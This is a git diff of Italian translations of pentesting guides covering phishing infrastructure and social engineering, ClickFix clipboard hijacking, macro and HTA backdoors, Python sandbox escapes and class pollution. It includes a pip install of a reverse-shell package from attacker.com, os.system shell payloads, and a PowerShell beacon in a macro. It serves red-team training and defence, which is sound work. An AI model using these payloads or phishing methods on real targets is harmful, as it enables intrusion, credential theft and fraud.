- **Singolarizzazione/Pluralizzazione**: Aggiunge o rimuove “s” alla fine del nome di dominio (es., zeltsers.com).
- **Singolarizzazione/Plurale**: Aggiunge o rimuove “s” alla fine del nome di dominio (es., zeltsers.com).
- **Omissione**: **rimuove una** delle lettere dal nome di dominio (es., zelser.com).
- **Ripetizione:** **ripete una** delle lettere nel nome di dominio (es., zeltsser.com).
- **Sostituzione**: Come l'omo-glyph ma meno furtivo. Sostituisce una delle lettere nel nome di dominio, forse con una lettera vicina alla lettera originale sulla tastiera (es., zektser.com).
@ -57,14 +57,14 @@ Quando questo concetto è **applicato alle richieste DNS**, è possibile che il
Ad esempio, una singola modifica di bit nel dominio "windows.com" può cambiarlo in "windnws.com."
Gli attaccanti possono **sfruttare questo registrando più domini di bit-flipping** simili a quello della vittima. La loro intenzione è reindirizzare gli utenti legittimi alla propria infrastruttura.
Gli attaccanti possono **sfruttare questo registrando più domini con bit-flipping** che sono simili al dominio della vittima. La loro intenzione è reindirizzare gli utenti legittimi alla propria infrastruttura.
Per ulteriori informazioni leggi [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Acquistare un dominio affidabile
Puoi cercare in [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio scaduto che potresti utilizzare.\
Per assicurarti che il dominio scaduto che stai per acquistare **abbia già un buon SEO**, puoi cercare come è categorizzato in:
Per assicurarti che il dominio scaduto che intendi acquistare **abbia già un buon SEO**, puoi cercare come è categorizzato in:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
@ -259,7 +259,7 @@ v=DMARC1; p=none
Devi **configurare un DKIM per il nuovo dominio**. Se non sai cos'è un record DMARC [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Questo tutorial è basato su: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
Questo tutorial si basa su: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP]
> Devi concatenare entrambi i valori B64 che la chiave DKIM genera:
@ -268,7 +268,7 @@ Questo tutorial è basato su: [https://www.digitalocean.com/community/tutorials/
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
> ```
### Testa il punteggio della tua configurazione email
### Testa il punteggio di configurazione della tua email
Puoi farlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
Basta accedere alla pagina e inviare un'email all'indirizzo che ti forniscono:
@ -313,7 +313,7 @@ Puoi richiedere la rimozione del tuo dominio/IP su [https://sender.office.com/](
> [!TIP]
> È consigliato utilizzare la funzionalità "**Invia Email di Test**" per verificare che tutto funzioni.\
> Ti consiglio di **inviare le email di test a indirizzi di 10min** per evitare di essere inseriti nella blacklist durante i test.
> Ti consiglio di **inviare le email di test a indirizzi 10min** per evitare di essere inseriti nella blacklist durante i test.
### Modello di Email
@ -343,7 +343,7 @@ Nota che **per aumentare la credibilità dell'email**, è consigliato utilizzare
- Invia un'email a un **indirizzo inesistente** e controlla se la risposta ha qualche firma.
- Cerca **email pubbliche** come info@ex.com o press@ex.com o public@ex.com e invia loro un'email e aspetta la risposta.
- Prova a contattare **alcune email valide scoperte** e aspetta la risposta.
- Prova a contattare **qualche email valida scoperta** e aspetta la risposta.
![](<../../images/image (80).png>)
@ -360,13 +360,13 @@ Nota che **per aumentare la credibilità dell'email**, è consigliato utilizzare
![](<../../images/image (826).png>)
> [!TIP]
> Di solito dovrai modificare il codice HTML della pagina e fare alcuni test in locale (magari usando un server Apache) **fino a quando non ti piacciono i risultati.** Poi, scrivi quel codice HTML nella casella.\
> Di solito dovrai modificare il codice HTML della pagina e fare alcuni test in locale (magari utilizzando un server Apache) **fino a quando non ti piacciono i risultati.** Poi, scrivi quel codice HTML nella casella.\
> Nota che se hai bisogno di **utilizzare alcune risorse statiche** per l'HTML (magari alcune pagine CSS e JS) puoi salvarle in _**/opt/gophish/static/endpoint**_ e poi accedervi da _**/static/\<filename>**_
> [!TIP]
> Per il reindirizzamento potresti **reindirizzare gli utenti alla legittima pagina web principale** della vittima, o reindirizzarli a _/static/migration.html_ per esempio, mettere qualche **ruota che gira** (**[**https://loading.io/**](https://loading.io)**) per 5 secondi e poi indicare che il processo è stato completato con successo**.
> Per il reindirizzamento potresti **reindirizzare gli utenti alla legittima pagina web principale** della vittima, o reindirizzarli a _/static/migration.html_ per esempio, mettere qualche **ruota che gira (**[**https://loading.io/**](https://loading.io)**) per 5 secondi e poi indicare che il processo è stato completato con successo**.
### Utenti e Gruppi
### Utenti & Gruppi
- Imposta un nome
- **Importa i dati** (nota che per utilizzare il modello per l'esempio hai bisogno del nome, cognome e indirizzo email di ogni utente)
@ -394,9 +394,9 @@ Se per qualche motivo desideri clonare il sito web, controlla la seguente pagina
clone-a-website.md
{{#endref}}
## Documenti e File Backdoor
## Documenti & File Backdoor
In alcune valutazioni di phishing (principalmente per Red Teams) vorrai anche **inviare file contenenti qualche tipo di backdoor** (magari un C2 o semplicemente qualcosa che attivi un'autenticazione).\
In alcune valutazioni di phishing (principalmente per Red Teams) vorrai anche **inviare file contenenti qualche tipo di backdoor** (magari un C2 o magari solo qualcosa che attivi un'autenticazione).\
Controlla la seguente pagina per alcuni esempi:
{{#ref}}
@ -407,7 +407,7 @@ phishing-documents.md
### Via Proxy MitM
L'attacco precedente è piuttosto astuto poiché stai simulando un sito web reale e raccogliendo le informazioni fornite dall'utente. Sfortunatamente, se l'utente non ha inserito la password corretta o se l'applicazione che hai simulato è configurata con 2FA, **queste informazioni non ti permetteranno di impersonare l'utente ingannato**.
L'attacco precedente è piuttosto astuto poiché stai falsificando un sito web reale e raccogliendo le informazioni fornite dall'utente. Sfortunatamente, se l'utente non ha inserito la password corretta o se l'applicazione che hai falsificato è configurata con 2FA, **queste informazioni non ti permetteranno di impersonare l'utente ingannato**.
Qui è dove strumenti come [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) sono utili. Questo strumento ti permetterà di generare un attacco simile a MitM. Fondamentalmente, gli attacchi funzionano nel seguente modo:
@ -432,7 +432,7 @@ Tuttavia, ci sono altri modi per sapere se la vittima è **attivamente alla rice
detecting-phising.md
{{#endref}}
Puoi **comprare un dominio con un nome molto simile** a quello del dominio della vittima **e/o generare un certificato** per un **sottodominio** di un dominio controllato da te **contenente** la **parola chiave** del dominio della vittima. Se la **vittima** esegue qualsiasi tipo di **interazione DNS o HTTP** con essi, saprai che **sta attivamente cercando** domini sospetti e dovrai essere molto furtivo.
Puoi **comprare un dominio con un nome molto simile** a quello del dominio della vittima **e/o generare un certificato** per un **sottodominio** di un dominio controllato da te **contenente** la **parola chiave** del dominio della vittima. Se la **vittima** esegue qualche tipo di **interazione DNS o HTTP** con essi, saprai che **sta cercando attivamente** domini sospetti e dovrai essere molto furtivo.
### Valutare il phishing
@ -445,12 +445,12 @@ I moderni set di intrusione saltano sempre più spesso le esche email e **mirano
### Flusso dell'attacco
1. Ricognizione della vittima
* Raccogli dettagli personali e aziendali da LinkedIn, violazioni di dati, GitHub pubblici, ecc.
* Identifica identità di alto valore (dirigenti, IT, finanza) ed elenca il **processo esatto del help-desk** per il reset della password / MFA.
* Identifica identità di alto valore (dirigenti, IT, finanza) ed enumera il **processo esatto del help-desk** per il reset della password / MFA.
2. Ingegneria sociale in tempo reale
* Chiama, usa Teams o chatta con il help-desk impersonando il target (spesso con **ID chiamante falsificato** o **voce clonata**).
* Chiama, Teams o chatta con il help-desk impersonando il target (spesso con **ID chiamante falsificato** o **voce clonata**).
* Fornisci le PII raccolte in precedenza per superare la verifica basata sulla conoscenza.
* Convincere l'agente a **resettare il segreto MFA** o eseguire uno **scambio SIM** su un numero di cellulare registrato.
3. Azioni immediate post-accesso (≤60 min in casi reali)
* Convincere l'agente a **reimpostare il segreto MFA** o eseguire uno **scambio SIM** su un numero di cellulare registrato.
3. Azioni immediate post-accesso (≤60 min nei casi reali)
* Stabilire una base attraverso qualsiasi portale SSO web.
* Enumerare AD / AzureAD con strumenti integrati (nessun binario scaricato):
```powershell
@ -465,17 +465,17 @@ Get-MgUserRegisteredDevice -UserId <user@corp.local>
```
* Movimento laterale con **WMI**, **PsExec**, o legittimi agenti **RMM** già autorizzati nell'ambiente.
### Rilevamento e Mitigazione
### Rilevamento & Mitigazione
* Tratta il recupero dell'identità del help-desk come un'**operazione privilegiata** – richiedi autenticazione avanzata e approvazione del manager.
* Implementa regole di **Identity Threat Detection & Response (ITDR)** / **UEBA** che avvisano su:
* Metodo MFA cambiato + autenticazione da nuovo dispositivo / geo.
* Elevazione immediata dello stesso principale (utente-→-admin).
* Registra le chiamate del help-desk e imposta un **richiamo a un numero già registrato** prima di qualsiasi reset.
* Implementa **Just-In-Time (JIT) / Accesso Privilegiato** in modo che gli account appena resettati non ereditino automaticamente token ad alta privilegio.
* Implementa **Just-In-Time (JIT) / Accesso Privilegiato** in modo che gli account appena reimpostati non **ereditino automaticamente** token ad alto privilegio.
---
## Deception su larga scala – SEO Poisoning e campagne “ClickFix”
## Deception su larga scala – SEO Poisoning & Campagne “ClickFix”
Le squadre di commodity compensano il costo delle operazioni ad alto contatto con attacchi di massa che trasformano **motori di ricerca e reti pubblicitarie in canali di consegna**.
1. **SEO poisoning / malvertising** spinge un risultato falso come `chromium-update[.]site` in cima agli annunci di ricerca.
@ -489,7 +489,7 @@ Le squadre di commodity compensano il costo delle operazioni ad alto contatto co
* componente di persistenza (chiave di esecuzione del registro + attività pianificata)
### Suggerimenti per il rafforzamento
* Blocca i domini appena registrati e applica **Advanced DNS / URL Filtering** su *search-ads* così come sulle email.
* Blocca i domini appena registrati e applica **Advanced DNS / URL Filtering** su *search-ads* così come su email.
* Limita l'installazione del software a pacchetti MSI / Store firmati, nega l'esecuzione di `HTA`, `ISO`, `VBS` per policy.
* Monitora i processi figli dei browser che aprono installer:
```yaml
@ -501,16 +501,16 @@ and child_image: *\\*.exe
---
## Operazioni di Phishing Potenziate dall'AI
Gli attaccanti ora concatenano **LLM e API di clonazione vocale** per esche completamente personalizzate e interazione in tempo reale.
Gli attaccanti ora concatenano **LLM & voice-clone APIs** per esche completamente personalizzate e interazione in tempo reale.
| Livello | Esempio di utilizzo da parte dell'attore di minaccia |
|-------|-----------------------------|
|Automazione|Genera e invia >100 k email / SMS con formulazioni randomizzate e link di tracciamento.|
|AI Generativa|Produce email *uniche* che fanno riferimento a M&A pubblici, battute interne dai social media; voce del CEO deep-fake in una truffa di richiamo.|
|AI Generativa|Produce email *uniche* che fanno riferimento a M&A pubblici, battute interne dai social media; voce CEO deep-fake in una truffa di richiamo.|
|AI Agente|Registra autonomamente domini, estrae intel open-source, crea email di prossima fase quando una vittima clicca ma non invia credenziali.|
**Difesa:**
• Aggiungi **banner dinamici** che evidenziano messaggi inviati da automazioni non affidabili (tramite anomalie ARC/DKIM).
• Aggiungi **banner dinamici** che evidenziano messaggi inviati da automazioni non affidabili (via anomalie ARC/DKIM).
• Implementa **frasi di sfida biometriche vocali** per richieste telefoniche ad alto rischio.
• Simula continuamente esche generate dall'AI nei programmi di sensibilizzazione – i modelli statici sono obsoleti.
@ -527,7 +527,7 @@ Monitora gli eventi di AzureAD/AWS/Okta in cui **`deleteMFA` + `addMFA`** si ver
## Clipboard Hijacking / Pastejacking
Gli attaccanti possono silenziosamente copiare comandi dannosi negli appunti della vittima da una pagina web compromessa o con errore di battitura e poi ingannare l'utente a incollarli all'interno di **Win + R**, **Win + X** o in una finestra del terminale, eseguendo codice arbitrario senza alcun download o allegato.
Gli attaccanti possono silenziosamente copiare comandi dannosi negli appunti della vittima da una pagina web compromessa o con errore di battitura e poi ingannare l'utente a incollarli all'interno di **Win + R**, **Win + X** o una finestra del terminale, eseguendo codice arbitrario senza alcun download o allegato.
{{#ref}}
clipboard-hijacking.md

7
src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
> "Non incollare mai nulla che non hai copiato tu stesso." – un consiglio vecchio ma ancora valido
> "Non incollare mai nulla che non hai copiato tu stesso." – consiglio vecchio ma ancora valido
## Panoramica
@ -26,10 +26,10 @@ Le campagne più vecchie utilizzavano `document.execCommand('copy')`, quelle pi
## Il Flusso ClickFix / ClearFake
1. L'utente visita un sito con typo o compromesso (ad es. `docusign.sa[.]com`)
1. L'utente visita un sito con errori di battitura o compromesso (ad es. `docusign.sa[.]com`)
2. Il JavaScript **ClearFake** iniettato chiama un helper `unsecuredCopyToClipboard()` che memorizza silenziosamente una riga di comando PowerShell codificata in Base64 negli appunti.
3. Le istruzioni HTML dicono alla vittima di: *“Premere **Win + R**, incollare il comando e premere Invio per risolvere il problema.”*
4. `powershell.exe` viene eseguito, scaricando un archivio che contiene un eseguibile legittimo più un DLL malevolo (classico sideloading di DLL).
4. `powershell.exe` viene eseguito, scaricando un archivio che contiene un eseguibile legittimo più un DLL malevolo (classico DLL sideloading).
5. Il loader decripta fasi aggiuntive, inietta shellcode e installa persistenza (ad es. attività pianificata) – eseguendo infine NetSupport RAT / Latrodectus / Lumma Stealer.
### Esempio di Catena NetSupport RAT
@ -76,6 +76,7 @@ I blue team possono combinare il monitoraggio degli appunti, la creazione di pro
## Trucchi Correlati
* **Discord Invite Hijacking** spesso abusa dello stesso approccio ClickFix dopo aver attirato gli utenti in un server malevolo:
{{#ref}}
discord-invite-hijacking.md
{{#endref}}

16
src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Office Documents
## Documenti Office
Microsoft Word esegue la convalida dei dati del file prima di aprire un file. La convalida dei dati viene eseguita sotto forma di identificazione della struttura dei dati, rispetto allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in analisi non verrà aperto.
@ -14,7 +14,7 @@ Puoi utilizzare il seguente comando per controllare quali estensioni verranno es
```bash
assoc | findstr /i "word excel powerp"
```
DOCX files che fanno riferimento a un modello remoto (File – Opzioni – Componenti aggiuntivi – Gestisci: Modelli – Vai) che include macro possono “eseguire” anche le macro.
DOCX file che fanno riferimento a un modello remoto (File –Opzioni –Componenti aggiuntivi –Gestisci: Modelli –Vai) che include macro possono “eseguire” anche le macro.
### Caricamento Immagine Esterna
@ -23,7 +23,7 @@ _**Categorie**: Collegamenti e Riferimenti, **Nomi dei campi**: includePicture,
![](<../../images/image (155).png>)
### Backdoor Macro
### Macro Backdoor
È possibile utilizzare le macro per eseguire codice arbitrario dal documento.
@ -66,7 +66,7 @@ proc.Create "powershell <beacon line generated>
```
#### Rimuovere manualmente i metadati
Vai su **File > Info > Ispeziona documento > Ispeziona documento**, che aprirà l'Ispezione documento. Clicca su **Ispeziona** e poi su **Rimuovi tutto** accanto a **Proprietà del documento e informazioni personali**.
Vai su **File > Info > Ispeziona documento > Ispeziona documento**, che aprirà l'Ispezione documento. Clicca su **Ispeziona** e poi su **Rimuovi tutto** accanto a **Proprietà documento e informazioni personali**.
#### Estensione Doc
@ -83,7 +83,7 @@ Fallo perché **non puoi salvare macro all'interno di un `.docx`** e c'è uno **
Un HTA è un programma Windows che **combina HTML e linguaggi di scripting (come VBScript e JScript)**. Genera l'interfaccia utente ed esegue come un'applicazione "completamente fidata", senza i vincoli del modello di sicurezza di un browser.
Un HTA viene eseguito utilizzando **`mshta.exe`**, che è tipicamente **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, gli HTA non saranno in grado di essere eseguiti.
Un HTA viene eseguito utilizzando **`mshta.exe`**, che è tipicamente **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, gli HTA non saranno in grado di eseguire.
```html
<--! Basic HTA Execution -->
<html>
@ -140,14 +140,16 @@ self.close
```
## Forzare l'autenticazione NTLM
Ci sono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, ad esempio, potresti aggiungere **immagini invisibili** a email o HTML che l'utente accederà (anche HTTP MitM?). Oppure inviare alla vittima l'**indirizzo dei file** che **attiveranno** un'**autenticazione** solo per **aprire la cartella.**
Ci sono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, ad esempio, potresti aggiungere **immagini invisibili** a email o HTML che l'utente accederà (anche HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **attiveranno** un'**autenticazione** solo per **aprire la cartella.**
**Controlla queste idee e altro nelle seguenti pagine:**
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
@ -157,6 +159,6 @@ Ci sono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, ad esemp
Non dimenticare che non puoi solo rubare l'hash o l'autenticazione ma anche **eseguire attacchi di relay NTLM**:
- [**Attacchi di relay NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (relay NTLM a certificati)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
- [**AD CS ESC8 (relay NTLM ai certificati)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
{{#include ../../banners/hacktricks-training.md}}

42
src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
View File

@ -52,8 +52,8 @@ Python cerca di **caricare le librerie dalla directory corrente per prima** (il
### Pacchetti di default
Puoi trovare un **elenco dei pacchetti pre-installati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Nota che da un pickle puoi far sì che l'ambiente python **importi librerie arbitrarie** installate nel sistema.\
Ad esempio, il seguente pickle, quando caricato, importerà la libreria pip per utilizzarla:
Nota che da un pickle puoi fare in modo che l'ambiente python **importi librerie arbitrarie** installate nel sistema.\
Ad esempio, il seguente pickle, quando caricato, importerà la libreria pip per usarla:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -77,13 +77,13 @@ Se hai accesso a `pip` o `pip.main()`, puoi installare un pacchetto arbitrario e
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo dovresti **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo è necessario **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> [!TIP]
> Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python extra installato sul server** quando te ne vai.
## Eval-ing python code
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Altre librerie che consentono di valutare codice python
### Altre librerie che consentono di valutare il codice python
```python
#Pandas
import pandas as pd
@ -137,7 +137,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## Bypassare le protezioni attraverso le codifiche (UTF-7)
In [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene utilizzato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
In [**questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene utilizzato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -232,7 +232,7 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### Creare oggetti con [metaclassi](https://docs.python.org/3/reference/datamodel.html#metaclasses)
#### Creazione di oggetti con [metaclassi](https://docs.python.org/3/reference/datamodel.html#metaclasses)
La cosa fondamentale che le metaclassi ci permettono di fare è **creare un'istanza di una classe, senza chiamare direttamente il costruttore**, creando una nuova classe con la classe target come metaclasse.
```python
@ -314,10 +314,10 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
Quando non hai `__builtins__` non sarai in grado di importare nulla né di leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
Quando non hai `__builtins__`, non sarai in grado di importare nulla né di leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
Tuttavia, **per impostazione predefinita, python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi **importano anche funzionalità pericolose** al loro interno che possono essere accessibili per ottenere anche **l'esecuzione di codice arbitrario**.
Negli esempi seguenti puoi osservare come **abusare** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
Nei seguenti esempi puoi osservare come **abuse** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
**Python2**
```python
@ -538,7 +538,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## Ricerca Ricorsiva di Builtins, Globals...
> [!WARNING]
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa** usa semplicemente questo script per **trovare ricorsivamente i luoghi in cui puoi trovare quell'oggetto.**
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa**, usa questo script per **trovare ricorsivamente i luoghi in cui puoi trovare quell'oggetto.**
```python
import os, sys # Import these to find more gadgets
@ -707,6 +707,7 @@ return 'HAL 9000'
> [!CAUTION]
> Controlla anche la seguente pagina per gadget che r**ead sensitive information from Python internal objects**:
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
@ -770,9 +771,9 @@ Questo gadget consente di **caricare una libreria dal disco**. Pertanto, è nece
```
La sfida sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari nel disco dei server.
## Dissezionare gli Oggetti Python
## Dissezione degli oggetti Python
> [!NOTE]
> [!TIP]
> Se vuoi **imparare** a conoscere **il bytecode di python** in profondità, leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
In alcuni CTF potresti ricevere il nome di una **funzione personalizzata in cui risiede il flag** e devi esaminare gli **interni** della **funzione** per estrarlo.
@ -898,7 +899,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Nota che **se non puoi importare `dis` nella sandbox python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
Nota che **se non puoi importare `dis` nel sandbox python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -957,19 +958,19 @@ mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!NOTE]
> [!TIP]
> A seconda della versione di python, i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
>
> ```
> import types
> types.CodeType.__doc__
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCrea un oggetto codice. Non per i deboli di cuore.'
> ```
### Ricreare una funzione leakata
### Ricreare una funzione trapelata
> [!WARNING]
> Nell'esempio seguente, prenderemo tutti i dati necessari per ricreare la funzione direttamente dall'oggetto codice della funzione. In un **esempio reale**, tutti i **valori** per eseguire la funzione **`code_type`** è ciò che **dovrai leakare**.
> Nell'esempio seguente, prenderemo tutti i dati necessari per ricreare la funzione direttamente dall'oggetto codice della funzione. In un **esempio reale**, tutti i **valori** per eseguire la funzione **`code_type`** è ciò che **dovrai trapelare**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -982,7 +983,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
In previous examples at the beginning of this post, you can see **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **un'unica riga** (e potremmo fare lo stesso usando **`exec`**).\
In previous examples at the beginning of this post, you can see **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **unico comando** (e potremmo fare lo stesso usando **`exec`**).\
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
@ -1020,12 +1021,13 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Decompilare Python Compilato
## Decompilazione di Python Compilato
Utilizzando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) è possibile **decompilare** un dato codice python compilato.
Utilizzando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) è possibile **decompilare** il codice python compilato fornito.
**Dai un'occhiata a questo tutorial**:
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}

4
src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
View File

@ -182,7 +182,7 @@ subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
<summary>Sovrascrittura di <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** è un attributo speciale di tutte le funzioni, basato sulla [documentazione](https://docs.python.org/3/library/inspect.html) di Python, è una “mappatura di eventuali valori predefiniti per i parametri **solo parola chiave**”. Inquinare questo attributo ci consente di controllare i valori predefiniti dei parametri solo parola chiave di una funzione, questi sono i parametri della funzione che vengono dopo \* o \*args.
**`__kwdefaults__`** è un attributo speciale di tutte le funzioni, basato sulla [documentazione](https://docs.python.org/3/library/inspect.html) di Python, è una “mappatura di eventuali valori predefiniti per i parametri **solo parola chiave**”. Inquinare questo attributo ci consente di controllare i valori predefiniti dei parametri solo parola chiave di una funzione, questi sono i parametri della funzione che seguono \* o \*args.
```python
from os import system
import json
@ -223,7 +223,7 @@ execute() #> Executing echo Polluted
<details>
<summary>Sovrascrittura della chiave segreta di Flask tra i file</summary>
<summary>Sovrascrittura del segreto di Flask tra i file</summary>
Quindi, se puoi fare una class pollution su un oggetto definito nel file python principale del web ma **la cui classe è definita in un file diverso** da quello principale. Perché per accedere a \_\_globals\_\_ nei payload precedenti devi accedere alla classe dell'oggetto o ai metodi della classe, sarai in grado di **accedere ai globals in quel file, ma non in quello principale**. \
